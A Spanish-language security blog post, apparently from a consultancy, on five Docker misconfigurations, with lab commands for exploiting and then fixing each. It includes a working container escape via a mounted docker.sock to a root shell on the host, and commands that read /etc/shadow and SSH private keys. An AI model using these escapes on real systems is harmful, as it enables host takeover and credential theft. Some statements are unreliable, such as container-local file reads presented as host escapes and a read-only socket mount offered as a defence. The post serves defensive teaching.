Cloud Security: Docker Misconfigurations y explotación práctica

Cloud Security: Docker Misconfigurations y explotación práctica

Docker Misconfigurations en Cloud Security - Jaymon Security

1. Introducción

Docker ha revolucionado la forma en que desplegamos aplicaciones: contenedores ligeros, reproducibles y escalables. Pero así como un servidor mal configurado puede ser comprometido, un contenedor Docker con vulnerabilidades de seguridad puede exponer toda la infraestructura subyacente. En 2026, según los informes de tendencias de ciberseguridad (Fortinet, IBM X-Force), las misconfigurations en contenedores y orquestadores son una de las principales fuentes de brechas.

En este artículo vamos a explorar las vulnerabilidades más comunes en Docker, con un laboratorio práctico donde construiremos un contenedor vulnerable y lo explotaremos desde dentro y desde fuera. Aprenderemos a detectar y corregir cada fallo de configuración.

2. ¿Por qué son importantes los contenedores en ciberseguridad?

Un contenedor Docker es un proceso aislado que comparte el kernel del sistema operativo host. A diferencia de una máquina virtual, no incluye un sistema operativo completo: solo las dependencias necesarias para ejecutar la aplicación.

Esta eficiencia tiene un precio: si un atacante escapa del contenedor, puede acceder al host completo. Las principales razones por las que los contenedores son vulnerables:

  • Imágenes con vulnerabilidades conocidas: muchas imágenes oficiales incluyen librerías desactualizadas.
  • Contenedores ejecutándose como root: el proceso principal tiene privilegios de administrador del host.
  • Puertos expuestos al exterior: servicios internos accesibles desde internet.
  • Volumes montados incorrectamente: directorios sensibles del host dentro del contenedor.
  • Docker Socket expuesto: permite controlar el daemon Docker desde dentro del contenedor.

3. Montando el escenario

Necesitamos Docker instalado en nuestra máquina local:

# Verificar instalación de Docker
docker --version
docker info

# Crear un directorio de trabajo
mkdir ~/docker-lab && cd ~/docker-lab

Fig. 1 – Terminal con Docker instalado y verificado.

4. Vulnerabilidad #1: Contenedor ejecutándose como root

Por defecto, muchos contenedores se ejecutan como usuario root. Si un atacante escapa del contenedor, obtiene root en el host:


# Crear un Dockerfile vulnerable
FROM ubuntu:latest
RUN apt-get update && apt-get install -y curl
COPY app.py /app/app.py
CMD ["python3", "/app/app.py"]

# Construir y ejecutar (sin especificar usuario = root por defecto)
docker build -t vulnerable-app .
docker run -d --name mi-app -p 8080:5000 vulnerable-app

# Entrar al contenedor y verificar el usuario
docker exec -it mi-app whoami
# Resultado: root

docker exec -it mi-app id
# Resultado: uid=0(root) gid=0(root)...

Explotación: desde dentro del contenedor, leemos el archivo de credenciales del host:


# Escapar al host leyendo /etc/shadow si está montado
docker exec mi-app cat /etc/shadow

# O ejecutar un comando en el host usando docker exec con PID 1
docker exec -it --user root mi-app sh -c "cat /root/.ssh/id_rsa"

Defensa: crear un usuario no-root en el Dockerfile:


FROM ubuntu:latest
RUN useradd -m appuser
USER appuser
CMD ["python3", "/app/app.py"]

5. Vulnerabilidad #2: Docker Socket expuesto

El socket de Docker (/var/run/docker.sock) permite controlar el daemon Docker. Si un contenedor tiene acceso a este socket, puede crear nuevos conteneders con privilegios de root en el host:


# Ejecutar un contenedor con el socket montado (vulnerabilidad común)
docker run -it --rm -v /var/run/docker.sock:/var/run/docker.sock alpine sh

# Dentro del contenedor, crear un nuevo contenedor que monta el root del host:
docker run -v /:/host -it alpine chroot /host

# Ahora estamos dentro del host desde el contenedor!
cat /etc/shadow

Explotación completa:


# Escapar de un contenedor con socket expuesto:
docker run -it --rm \
  -v /var/run/docker.sock:/var/run/docker.sock \
  -v $(pwd):/host \
  -w /host \
  alpine sh -c "apk add docker-cli && docker run -v /:/host -it alpine chroot /host"

# Resultado: shell root en el host desde dentro del contenedor

Defensa: montar el socket con solo lectura cuando sea posible, o usar herramientas como Docker Bench for Security para auditar configuraciones.

6. Vulnerabilidad #3: Puertos expuestos innecesariamente

Cuando ejecutamos -p 8080:5000, exponemos el puerto interno 5000 al exterior. Si el contenedor tiene múltiples servicios, muchos pueden quedar expuestos:


# Ejemplo: contenedor con Redis (puerto 6379) y API (puerto 8080)
docker run -d \
  --name mi-app \
  -p 8080:5000 \
  -p 6379:6379 \
  vulnerable-app

# Desde fuera, accedemos directamente a Redis sin autenticación:
redis-cli -h localhost -p 6379
127.0.0.1:6379> KEYS *

Defensa: usar redes Docker internas para servicios que no necesitan acceso externo, y exponer solo los puertos necesarios:


# Crear red interna
docker network create internal-net

# Ejecutar Redis en la red interna (sin puerto expuesto)
docker run -d --name redis --network internal-net redis:alpine

# Ejecutar app conectada a la red interna, solo exponiendo el puerto 8080
docker run -d \
  --name mi-app \
  --network internal-net \
  -p 8080:5000 \
  vulnerable-app

7. Vulnerabilidad #4: Imágenes con vulnerabilidades conocidas

Las imágenes base desactualizadas contienen librerías con CVEs conocidos:


# Escanear una imagen en busca de vulnerabilidades
docker scan vulnerable-app

# O usar Trivy (gratuito y potente)
trivy image vulnerable-app

# Resultados típicos:
# [HIGH] CVE-2023-XXXX - openssl outdated version
# [MEDIUM] CVE-2024-YYYY - curl outdated version

Defensa: usar imágenes multi-stage y bases ligeras (Alpine, Distroless):


FROM python:3.12-slim AS builder
RUN pip install --no-cache-dir flask

FROM python:3.12-alpine
COPY --from=builder /usr/local/lib/python3.12/site-packages /usr/local/lib/python3.12/site-packages
COPY app.py /app/app.py
CMD ["python3", "/app/app.py"]

8. Vulnerabilidad #5: Variables de entorno con secretos

Las credenciales en variables de entorno son visibles con docker inspect:


# Ejecutar contenedor con secrets en ENV
docker run -d \
  --name mi-app \
  -e DB_PASSWORD=supersecreto123 \
  -e API_KEY=sk-abc123def456 \
  vulnerable-app

# Ver las variables de entorno:
docker inspect mi-app | grep -A 5 "Env"
# Resultado: ["DB_PASSWORD=supersecreto123", "API_KEY=sk-abc123def456"]

Defensa: usar Docker Secrets o archivos de entorno montados como volumes (con permisos 600):


# Crear secret con echo | docker secret create
echo "supersecreto123" | docker secret create db_password -

# Montar el secret en el contenedor
docker service create \
  --secret db_password \
  --name mi-app-svc \
  vulnerable-app

9. Auditoría con Docker Bench for Security

Docker Bench for Security es un script que ejecuta 80+ checks para evaluar la seguridad de una instalación Docker:


# Clonar y ejecutar el benchmark
git clone https://github.com/docker/docker-bench-security.git
cd docker-bench-security
sudo bash docker-bench-security.sh

# Resultados por categoría:
# [INFO] 1 - User configuration
# [WARN] 2.5 - Container images (root user detected)
# [PASS] 3.1 - Container networking
# [FAIL] 4.1 - Docker daemon configuration

Fig. 2 – Resultados de Docker Bench mostrando warnings y failures detectados.

10. Conclusiones

Los contenedores Docker ofrecen agilidad pero introducen nuevas superficies de ataque. Las cinco vulnerabilidades que hemos cubierto —root user, Docker socket expuesto, puertos innecesarios, imágenes desactualizadas y secretos en ENV— representan la mayoría de brechas reales en producción.

La defensa correcta combina: imágenes multi-stage con bases ligeras, ejecución como usuario no-root, auditoría automática con Docker Bench, secrets gestionados correctamente, y monitoreo continuo. En Jaymon Security ayudamos a las organizaciones a desplegar contenedores seguros desde el desarrollo hasta la producción.

11. Referencias

¿Necesitas ayuda con tu estrategia de seguridad?

En Jaymon Security ayudamos a las organizaciones a proteger sus sistemas. Desde auditorías de seguridad hasta implementación de SIEM/SOC, nuestro equipo de expertos diseña soluciones a medida.

Contacta con nosotros para una evaluación gratuita de tu infraestructura.

English

No puedes copiar el contenido